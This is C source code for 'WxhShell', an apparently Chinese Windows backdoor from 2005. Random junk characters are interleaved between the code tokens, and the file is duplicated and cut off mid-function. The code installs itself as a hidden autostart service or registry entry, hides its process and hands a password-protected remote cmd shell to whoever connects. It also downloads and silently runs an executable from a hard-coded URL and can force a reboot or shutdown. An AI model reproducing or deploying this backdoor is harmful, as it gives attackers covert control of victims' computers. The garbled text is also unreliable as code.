*|d ULONG UniqueProcessId; 1'_OM h*; ULONG InheritedFromUniqueProcessId; t*Q12Q } PROCESS_BASIC_INFORMATION; 'd?8OV PfrW,R~r PROCNTQSIP NtQueryInformationProcess; JsPuxu_ kd\G> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .yWdlq## static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6}ax~wYct uR"]w7= HANDLE hProcess; +[2lS54"W4 PROCESS_BASIC_INFORMATION pbi; `bC_J,>_ A)7'\JK7b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dbZPt~S'$ if(NULL == hInst ) return 0; K0I-7/L )kUq2-r g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?qK:P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3!$rp- !<) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5WZLB = 103Ik6.o if (!NtQueryInformationProcess) return 0; _X.M,id Ar'5kPzY> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GV[[[fu if(!hProcess) return 0; rbtPG=t_R WJ9u3+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sox90o 7 F37,u| CloseHandle(hProcess); <I|ryPU9{X jA]xpf6} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v5$zz w if(hProcess==NULL) return 0; A`r&"i OKA Y2$%%@ HMODULE hMod; 3]VTQl{P char procName[255]; t1~*q)!Mo unsigned long cbNeeded; #-VKk w|5}V6WD if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z=H
fOC i([A8C_A CloseHandle(hProcess); mA>Pr<aV: >$"bwr}'4B if(strstr(procName,"services")) return 1; // 以服务启动 lp]O8^][& A qm0|GlJ return 0; // 注册表启动 a,tP.Xsl } j/Kw-h ,5" /V*eAn8> // 主模块 $Y4
Ao-@ int StartWxhshell(LPSTR lpCmdLine) FP\[7?ZLn { _88~uYG SOCKET wsl; A=3U4L BOOL val=TRUE; @LmUCP~ int port=0; QTyl=z7 struct sockaddr_in door; $ `ho+ . }1!MK5 if(wscfg.ws_autoins) Install(); jf2E{48P 3~S~)quwP port=atoi(lpCmdLine); O0I/^ ,#m\W8j if(port<=0) port=wscfg.ws_port; x-W0 h L`p[Dq. WSADATA data; 5s|gKM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cv=0&S. @F1pu3E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bBQp:P?E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w5nRgdboy! door.sin_family = AF_INET; GS^4tmc door.sin_addr.s_addr = inet_addr("127.0.0.1"); RcE%?2lD door.sin_port = htons(port); ]zm6;/S 2-CK:)n/# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2]'ozs$|v closesocket(wsl); OL=b hZ return 1; 9!OpW:bR| } KG?]MVXA K4tX4U[Z if(listen(wsl,2) == INVALID_SOCKET) { >ylVES/V closesocket(wsl); >9klh-f return 1; = G_6D } Q7s1M&K Wxhshell(wsl); {%$=^XO WSACleanup(); mU_O64 8L@di Y return 0; xphqgOc12, GQQ!3LwP\O } ])JJ`Z8Bk n-Xj> // 以NT服务方式启动 ~+g5?y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5SjS~9 { M1i|qjb:l DWORD status = 0; Psv!`K DWORD specificError = 0xfffffff; xWMMHIu 'SY&-<t( serviceStatus.dwServiceType = SERVICE_WIN32; 3_ >R's8P serviceStatus.dwCurrentState = SERVICE_START_PENDING; }0TY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F,bl>;{[{ serviceStatus.dwWin32ExitCode = 0; t>[r88v serviceStatus.dwServiceSpecificExitCode = 0; B+<k,ad serviceStatus.dwCheckPoint = 0; Q9' p2@Z serviceStatus.dwWaitHint = 0; AjS5 oMVwIdf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j{PX ~/ if (hServiceStatusHandle==0) return; )<|T Ep4r- Q&J,"Vxw status = GetLastError(); ^/+sl-6/F if (status!=NO_ERROR) ?-f>zx8O { Cr`
0C serviceStatus.dwCurrentState = SERVICE_STOPPED; Yc$|"to serviceStatus.dwCheckPoint = 0; )0Lq>6j9 serviceStatus.dwWaitHint = 0; 1m0':n Vdu serviceStatus.dwWin32ExitCode = status; f.= E. % serviceStatus.dwServiceSpecificExitCode = specificError; (X9V-4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 40<&0nn return; u%pief } {
nV zN( >&VL2xLy serviceStatus.dwCurrentState = SERVICE_RUNNING; %L/=heBBd serviceStatus.dwCheckPoint = 0; s*IfXv serviceStatus.dwWaitHint = 0; 6~}H3rvO} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EDo
( } |h7v}Y A=$oYBB // 处理NT服务事件,比如:启动、停止 W)#`4a^xj7 VOID WINAPI NTServiceHandler(DWORD fdwControl) Y!L jy
[/ { ?Z=v&d[o) switch(fdwControl) VC.?]'OqD { VPHCPGrk case SERVICE_CONTROL_STOP: -:,h8JyMP serviceStatus.dwWin32ExitCode = 0; r>Ln*R,9D
serviceStatus.dwCurrentState = SERVICE_STOPPED; FMn&2fH serviceStatus.dwCheckPoint = 0; +@Y[i."^J serviceStatus.dwWaitHint = 0; 9<#D0hh$ { ^6+x0[13 SetServiceStatus(hServiceStatusHandle, &serviceStatus); <-F"&LI{< } &Yg/08* return; %gaKnT(|r case SERVICE_CONTROL_PAUSE: +RkYW*|$S serviceStatus.dwCurrentState = SERVICE_PAUSED; H[D/Sz5` break; ]c)SVn$6 case SERVICE_CONTROL_CONTINUE: BGX@n#: serviceStatus.dwCurrentState = SERVICE_RUNNING; }]I?vyQ#V break; AJT0)FCpR case SERVICE_CONTROL_INTERROGATE: :~(im_r break; V%ch' }; zqh{=&Tjx SetServiceStatus(hServiceStatusHandle, &serviceStatus); K(gj6SrjV } V5B-S.i@ o(P:f)B // 标准应用程序主函数 Nj0)/)<r+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &wN
2l- { _
^{Ep/ME= yr>bL"!CA // 获取操作系统版本 E: GJ$I OsIsNt=GetOsVer(); B$l`9!, GetModuleFileName(NULL,ExeFile,MAX_PATH); N^+ww]f? ~8*oGG~s // 从命令行安装 ~-5@- V if(strpbrk(lpCmdLine,"iI")) Install(); er0D5f R k`TJ<Dv; // 下载执行文件 91H0mP>ki if(wscfg.ws_downexe) { ZRB 0OH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M N#C2 qz WinExec(wscfg.ws_filenam,SW_HIDE); m]\zt } 1v&Fo2ML au|^V^m if(!OsIsNt) { 'c&@~O;^d // 如果时win9x,隐藏进程并且设置为注册表启动 AxlFU~E4 HideProc(); N}fUBX4k StartWxhshell(lpCmdLine); |A0$XU{ } vo(NB
!x$ else D a[C'm= if(StartFromService()) A Vm{#^p[( // 以服务方式启动 6
]Oxx{|} StartServiceCtrlDispatcher(DispatchTable); 7[g;|(G0 else e({fY.)SGo // 普通方式启动 Rt^<xXX$ StartWxhshell(lpCmdLine); *W12Rb2 c1kxKxE return 0; hG7S]\N_ } ]^9*
t,{9
vt@Us\fI t3t0vWE<, =nx:GT3&[ =========================================== bz0P49% lVdT^"~3 W[E3P,XS Xexe{h4t_> JhCkkw K\+}q{ " ~59`S#ax/l ?[VpN2* #include <stdio.h> tIb21c q #include <string.h> g'ZMV6b?K #include <windows.h> Zknewv*sS4 #include <winsock2.h> U`8|9v #include <winsvc.h> [OZ=iz. #include <urlmon.h> LkGf|yd_ rS )b1nPA #pragma comment (lib, "Ws2_32.lib") wB>S\~i #pragma comment (lib, "urlmon.lib") b"M`@';+ eh:}X}c=J] #define MAX_USER 100 // 最大客户端连接数 *Z`XG_ s5 #define BUF_SOCK 200 // sock buffer eKVALUw #define KEY_BUFF 255 // 输入 buffer w,Zx5bBg% Sf&?3a+f #define REBOOT 0 // 重启 jD/7/G* #define SHUTDOWN 1 // 关机 XDkS
^9 a3UPbl3^ #define DEF_PORT 5000 // 监听端口 /Pn.)Lxfl {(Og/[ #define REG_LEN 16 // 注册表键长度 *SkiFEoD #define SVC_LEN 80 // NT服务名长度 j\'+wVyo px|>v8 // 从dll定义API 1Vf78n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +K;Y+
K&;2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X#DL/#z k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ')5L_$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wfDp,T3w7 lMwk.# // wxhshell配置信息 +Cf0Y2*@hM struct WSCFG { YxEbg(Y int ws_port; // 监听端口 qA/#IUi)1 char ws_passstr[REG_LEN]; // 口令 mT6q}``vtG int ws_autoins; // 安装标记, 1=yes 0=no Fkcx+d char ws_regname[REG_LEN]; // 注册表键名 Jf?S9r5 Q char ws_svcname[REG_LEN]; // 服务名 Er"R;l]xJ char ws_svcdisp[SVC_LEN]; // 服务显示名 K)/!&{7n}a char ws_svcdesc[SVC_LEN]; // 服务描述信息 %e
Sm&` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y98JiNq int ws_downexe; // 下载执行标记, 1=yes 0=no -4e)N*VVu char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O[IR| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q*[!>\Z8 NTm<6Is` }; PNbcy!\U #9D/jYK1X // default Wxhshell configuration *#lBQBH|. struct WSCFG wscfg={DEF_PORT, @%OPy|=,{ "xuhuanlingzhe", & =73D1A 1, X<~k =qwA "Wxhshell", mPs%ZC "Wxhshell", m!5HRjOO "WxhShell Service", SqXy;S@ "Wrsky Windows CmdShell Service", 7deAr$?Wx "Please Input Your Password: ", |Bx||=z` 1, eQU-&-wt0 "http://www.wrsky.com/wxhshell.exe", Q`S iV "Wxhshell.exe" 1mHwYT+ };
ofMu3$Q qGnPnQc // 消息定义模块 By?nd) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7~wFU*P1 char *msg_ws_prompt="\n\r? for help\n\r#>"; 5zNSEI"PY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5^i.;>(b char *msg_ws_ext="\n\rExit."; s,
n^ char *msg_ws_end="\n\rQuit."; EkJVFHfh char *msg_ws_boot="\n\rReboot..."; nW|'l^& char *msg_ws_poff="\n\rShutdown..."; /"""z=q char *msg_ws_down="\n\rSave to "; D:wnO|: .P)s4rQ\ char *msg_ws_err="\n\rErr!"; ,
Aq9fyC% char *msg_ws_ok="\n\rOK!"; ^I X%dzM _1>SG2h{fV char ExeFile[MAX_PATH]; `d7gm;ykp int nUser = 0; @B,j;2eb HANDLE handles[MAX_USER]; o'C~~Vg). int OsIsNt; t=n+3`g ud0QZ X SERVICE_STATUS serviceStatus; {TyCj?3 B SERVICE_STATUS_HANDLE hServiceStatusHandle; 1.'(nKoq |DN^NhtE // 函数声明 K;oV"KRK int Install(void); o]Z
_@VI int Uninstall(void); Hf VHI1f int DownloadFile(char *sURL, SOCKET wsh); \U/v;Ijf int Boot(int flag); _*s~`jn{H void HideProc(void); q*\NRq int GetOsVer(void); :KEq<fEI int Wxhshell(SOCKET wsl); SQ}S4r void TalkWithClient(void *cs); 5;W\2yj int CmdShell(SOCKET sock); sYGR-:K int StartFromService(void); HSNOL int StartWxhshell(LPSTR lpCmdLine); m6b$Xyq[ gUl1CH& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f:]u`ziM VOID WINAPI NTServiceHandler( DWORD fdwControl ); WgE@8 9 NW
z9C=y // 数据结构和表定义 N0+hejz SERVICE_TABLE_ENTRY DispatchTable[] = b-PSm=` { j!YNg*H {wscfg.ws_svcname, NTServiceMain}, O!;H}{[dg {NULL, NULL} r0>q%eM8 }; N83!C=X' l+%Fl=Q2em // 自我安装 4~!Eje! int Install(void) LU%#mY { O?CdAnhQc` char svExeFile[MAX_PATH]; d]U`?A, HKEY key; ~?gzq~~t strcpy(svExeFile,ExeFile); .>}BNy 0HqPyM13Q // 如果是win9x系统,修改注册表设为自启动 $=/rGpAk if(!OsIsNt) { Qh*)pt]n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lbRzx4=\y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {$;2HbM( RegCloseKey(key); @B?FE\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ w/_(k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tl|ijR RegCloseKey(key); C>^,*7dS return 0; >w9sE8i } Q| ?'(J+ } W!t{rI7 2 } rn;<HT else { /ip lU +jUgx;u, // 如果是NT以上系统,安装为系统服务 ]D O&x+Rb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e,(a6X if (schSCManager!=0) t<Ot|Ex { xk& NAB SC_HANDLE schService = CreateService <Z},A-\S* ( J,??x0GDx, schSCManager, wTxbDT@ H5 wscfg.ws_svcname, yO00I`5 wscfg.ws_svcdisp, "?35C
! SERVICE_ALL_ACCESS, F%
`zs\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E, GN| l SERVICE_AUTO_START, Qlw>+y-i SERVICE_ERROR_NORMAL, 9TC)
w| svExeFile, Lbcy:E*g NULL, ~(P&g7u NULL, 09'oz*v{# NULL, =NadAyv NULL, ?-f,8Z|h NULL /,!<Va;~ ); Q^L)
Vp" if (schService!=0) 3f"C!l]Xu { +
~"5! CloseServiceHandle(schService); \/ErPi=g CloseServiceHandle(schSCManager); eIH$"f;L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6#U^<` strcat(svExeFile,wscfg.ws_svcname); /'ZKS T4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ow/U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \8{\;L C RegCloseKey(key); 1c$vLo832 return 0; => qTNh*' } A{N\) } eNbpwne CloseServiceHandle(schSCManager); 2VA!&`I } [KSH~:h:NR } )qv2)a!H Tg0CE60"
return 1; yrnv!moc%t } `rlk|&T1 0]B(a // 自我卸载 ?^}_j
vT int Uninstall(void) +>SRrIi { V^TbP. HKEY key; Ird|C[la 2s\BY%XY if(!OsIsNt) { d1c0l{JV3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :S -";.:" RegDeleteValue(key,wscfg.ws_regname); DN_W.o RegCloseKey(key); RO.U(T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <F(><Xw,-4 RegDeleteValue(key,wscfg.ws_regname); :Wc_Utt RegCloseKey(key); |0g{"}% return 0; 2}vNSQvG } d$G}iJ8$mp } 1y(UgEg } \F{:5,Du) else { :5b0np! ~E)fpGJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9%tobo@J~n if (schSCManager!=0) ?s2^zT { Su7bm1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LHkQ'O0 if (schService!=0) PX2c[CDE^ { ~e-z,:Af if(DeleteService(schService)!=0) { UG](go't CloseServiceHandle(schService); u -3:k CloseServiceHandle(schSCManager); 5Sva}9H return 0; 36vgX=} } cj$d=k~ CloseServiceHandle(schService); F9a^ED0l\ } r^1+cwy/7P CloseServiceHandle(schSCManager); X!>eiYK) } S\*`lJzPM } E=$p^s 2YlH}fnH return 1; j.%K_h?V5 } H
C0w;MG) ?6"{!s{v // 从指定url下载文件 %\Wf^6Y^ int DownloadFile(char *sURL, SOCKET wsh) -oP'4QVb { \+ 0k+B4a HRESULT hr; =5x&8i char seps[]= "/"; &%mXYj3y5 char *token; !RH.|} char *file; /.1.MssQM char myURL[MAX_PATH]; yK%ebq] char myFILE[MAX_PATH]; @7<uMasfp (Un_!) strcpy(myURL,sURL); ,r8Tbk]m token=strtok(myURL,seps); \r{W while(token!=NULL) _S`o1^Ad { CU)|-*uiK file=token; 3\:y8| token=strtok(NULL,seps); 'hqBo| } &JP-O60 5Qh?>n>* GetCurrentDirectory(MAX_PATH,myFILE); }`\/f strcat(myFILE, "\\"); eOI (6U! strcat(myFILE, file); U;q];e:,=} send(wsh,myFILE,strlen(myFILE),0); ~xLJe`"JUx send(wsh,"...",3,0); t#i,1aHA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n6<V+G)T if(hr==S_OK) ~Z'w)!h return 0; sN6N >{ else {{yZ@>o6 return 1; D5,P)[ j+-P :xvP } ,Lr<)p .6f%?oo // 系统电源模块 S* *oA 6 int Boot(int flag) /JkC+7H4 { qIMA6u/ HANDLE hToken; De&6 9 TOKEN_PRIVILEGES tkp; .iD*>M:W !\Xm!I8 if(OsIsNt) { T r0B[QF OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2L?!tBw?1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $~;D9 tkp.PrivilegeCount = 1; -E"GX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /X'(3'a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G 2!xPHz if(flag==REBOOT) { fw6UhG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /FP5`:PfL return 0; Q[F}r` } ^vilgg~ else { rl2&^N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :GpDg return 0; ??60,m:] } ={>Lrig:l } $37
g]ZD else { %ru;;h if(flag==REBOOT) { ,\2:/>2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E.|-?xQ6 return 0; YH&bD16c3 } 9o*,P,j'} else { 6(d }W2GP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rp7ntI: return 0; rE9I>|tX } 5NoI~X= } /zDi9W*~1 }v:jncp return 1; .
\ } } :=Tm]S `K~AhlJUQ // win9x进程隐藏模块 2_vbT!_ void HideProc(void) B33$pUk { 4lhw3,5 @Z>ZiU,^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '52~$z#m if ( hKernel != NULL )
]$b[`g& { b306&ZVEk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B(xN Gs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >{\7&}gz FreeLibrary(hKernel); )XcOl7XLN } W@|6nPm +)o}c"P! return;
`\Hf]b } A+hT3;lp (jU6GJRP // 获取操作系统版本 0cK{ int GetOsVer(void) E|'h]NY { M@0;B30L OSVERSIONINFO winfo; )jrV#/m9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /|6;Z}2 GetVersionEx(&winfo); g~(E>6Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2^8%>, return 1; cuy1DDl else zg-2C>(6a return 0; jck}" N } ys 5&PZg* !uQPc // 客户端句柄模块 a5a($D int Wxhshell(SOCKET wsl) Reatdh { S[WG$ SOCKET wsh; Sb~MQ_ struct sockaddr_in client; #>Zzf DWORD myID; ;2B{ 9{ @E:,lA while(nUser<MAX_USER) ?-^~f { OS8q( 2z?s int nSize=sizeof(client); (?nCyHC%g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _h}kp\sps if(wsh==INVALID_SOCKET) return 1; `ZC<W]WYX/ y!!2WHvE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L:@7tc. if(handles[nUser]==0) +\v?d&.f0 closesocket(wsh); Q7W>qe%4 else GnvL'ESa@M nUser++; bw\@W{a%q } r Tz$^a}/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OpHsob~ C*P7-oE2rh return 0; B(M6@1m_ } ..rOsg{
"~'b // 关闭 socket g) -bW+]q void CloseIt(SOCKET wsh) _3ZYtmn. { >$4d7.^hb/ closesocket(wsh); !"Oh36 nUser--; :0h_K ExitThread(0); G37U6PuZi } '3uVkp 6tF 8@tV9+u // 客户端请求句柄 kh`"WN Nt void TalkWithClient(void *cs) eH{[C* { 8YbE`32 AvW:<}a, SOCKET wsh=(SOCKET)cs; 2k=#om19 char pwd[SVC_LEN]; Qjb:WC7he char cmd[KEY_BUFF]; .0es3Rj char chr[1]; p|! int i,j; 6Oy$gW) )rC6*eR while (nUser < MAX_USER) { r(P(Rj2~ lv04g} W if(wscfg.ws_passstr) { soQ1X@"0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P
Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t2)rUWg //ZeroMemory(pwd,KEY_BUFF); 5k.oW= i=0; ~;N^g4s while(i<SVC_LEN) { >Z5gSs0 :\|SQKD // 设置超时 9E6_]8rl fd_set FdRead; `E>1>' struct timeval TimeOut; Ig
f&l`\ FD_ZERO(&FdRead); RNe^;
B FD_SET(wsh,&FdRead); 76`8=!]R TimeOut.tv_sec=8; }9FSO9*&} TimeOut.tv_usec=0; 3U0`,c\ao* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [C'JH//q*t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yPal<c 1]p ZrBh"E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :>C2gS@ pwd=chr[0]; 0.@&_XTPl if(chr[0]==0xd || chr[0]==0xa) { "/wyZ pwd=0; h-[VH% break; $69oV: } =o$sxb
E( i++; y]f"@9G# } 2I,^YWR 9J2NH|]c // 如果是非法用户,关闭 socket W>j !Q^? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M
r5v< } c_4[e5z ^y<<>Y'I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xjKR R? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?k(7 LX0j ;;#qmGoE while(1) { )% ~OH a m|F?|1 ZeroMemory(cmd,KEY_BUFF); 73/P&hT *Qg _F6y // 自动支持客户端 telnet标准 >LOjV0K/
j=0; f}9zgWU while(j<KEY_BUFF) { f,kZ\Ia'r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ']2E {V cmd[j]=chr[0]; ;6>2"{NW if(chr[0]==0xa || chr[0]==0xd) { ]7Tkkw$ cmd[j]=0; (KDD e}f break; ;)D];u|_ } vH :LQ!2 j++;
zem8G2#c } "eB$k40- uM_wjP // 下载文件 hhCrUn" if(strstr(cmd,"http://")) {
EK6:~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); iOW#>66d if(DownloadFile(cmd,wsh)) Ab{ K<:l send(wsh,msg_ws_err,strlen(msg_ws_err),0); RO 4Z?tz else e4?>- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _( {hc+9p } X-K=!pET else { ;:\<gVi:
<G|(|E1 switch(cmd[0]) { >\KNM@'KI u{['<r;I // 帮助 UQ?XqgUM case '?': { 5Co send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F8jd'OR break; f4 P8Oz } I|gB@|_~ // 安装 '
aq!^!z case 'i': { $u]jy0X<Y; if(Install()) C~2F9Pg send(wsh,msg_ws_err,strlen(msg_ws_err),0); haK3?A,"_A else n<O}hM ZT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bw_IT break; }$SavB#SBP } 2^h27A // 卸载 <m)$K case 'r': { D$
dfNiCH if(Uninstall()) v+46QK|I& send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:~\5}tW else tn(JC%?^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s4A43i'g!h break; *>7 >g" } m% -g ~q // 显示 wxhshell 所在路径 f$e[u
Er case 'p': { 7puFz4+f char svExeFile[MAX_PATH]; ObVGV strcpy(svExeFile,"\n\r"); CZud&
< strcat(svExeFile,ExeFile); \2N!:%k send(wsh,svExeFile,strlen(svExeFile),0); 2@'oe7E break; TC!Yb_H}gN } U>=Z-
T // 重启 >s>1[W @* case 'b': { 52:HNA\E/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :61Tun if(Boot(REBOOT)) EMwS1~3dD send(wsh,msg_ws_err,strlen(msg_ws_err),0); !h"Kq>9T else { :W!7mna closesocket(wsh); ~.{/0T ExitThread(0); DS+}UO } :ubV }; break; S?1AFI9{ } xST8|H // 关机 5D\f8L case 'd': { ?pr9f5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zi|+HM if(Boot(SHUTDOWN)) F
U_jGwD send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q}I"iS else { zM bN;tu closesocket(wsh); i
UCXAWP ExitThread(0); D!{Y$; } "& ])lz[u break; CR8/Ke } 1"zDin!A // 获取shell MLw7}[ case 's': { 0
HGM4[)= CmdShell(wsh); R.jIl@p closesocket(wsh); sF!($k;! ExitThread(0); fd+hA break; UK595n;P } _"?.! // 退出 %<k2#6K case 'x': { Gw>^[dmt! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FQu8vwV6> CloseIt(wsh); )Xk0VDNp$/ break; 7C,&*Ax,9 } O@u?h9?cf> // 离开 ]op}y0 case 'q': { 7mI:|G send(wsh,msg_ws_end,strlen(msg_ws_end),0); D^yRaP*|7 closesocket(wsh); =5J7Hw&K WSACleanup(); e<3K;Q exit(1); aC$B2 break; aZ2!i } ]NUl9t*N4 } JlH&?? } K(q+
" ]$ L| // 提示信息 'n{Nvt.c if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +c(zo4nZ } ^T*? >%` } ![`Ay4AZ@a vI:;A/& return; jr)1(** } (!ZM{Js% Q\^O64geD // shell模块句柄 S|SV$_
( int CmdShell(SOCKET sock) pXrFljoYl[ { F<n3 STARTUPINFO si; ,F79xx9ufg ZeroMemory(&si,sizeof(si)); .Zn^Nw3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "fG8?)d; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n!YKz"$ PROCESS_INFORMATION ProcessInfo; hBS.a6u1'd char cmdline[]="cmd"; 'Q|M'5' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =d".|k return 0; 0"kbrv2y } XRcq hv {_7i8c<s= // 自身启动模式 ?3nR int StartFromService(void) CnpV:>V= { *!q1Kr6r typedef struct C`$n[kCJ { l n{e1':$" DWORD ExitStatus; 8K.R= DWORD PebBaseAddress; aoTM DWORD AffinityMask; dYT% DWORD BasePriority; >pU$wq|i ULONG UniqueProcessId; lpQSup ULONG InheritedFromUniqueProcessId; =y
[M\m } PROCESS_BASIC_INFORMATION; .n#@$
nGZ Mmxlp.l PROCNTQSIP NtQueryInformationProcess; 5*+!+V^?X (zgW%{V@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0xxg|;h.,g static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d6'{rje( c9HrMgW HANDLE hProcess; n!NS(.o PROCESS_BASIC_INFORMATION pbi; tXoWwQD;Y q;R],7Re HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;|pBFKx if(NULL == hInst ) return 0; ,=UK}*e" E0Y-7&Fv g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RTE8Uq36 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RP~|PtLw_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tmv&U;0Z ?%O(mC]u& if (!NtQueryInformationProcess) return 0; S0B|#O%Z % W=b?: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `);AW(Q if(!hProcess) return 0; Xnz3p" 6hlc1? if(NtQueryInformationProcess( hProcess, 0, 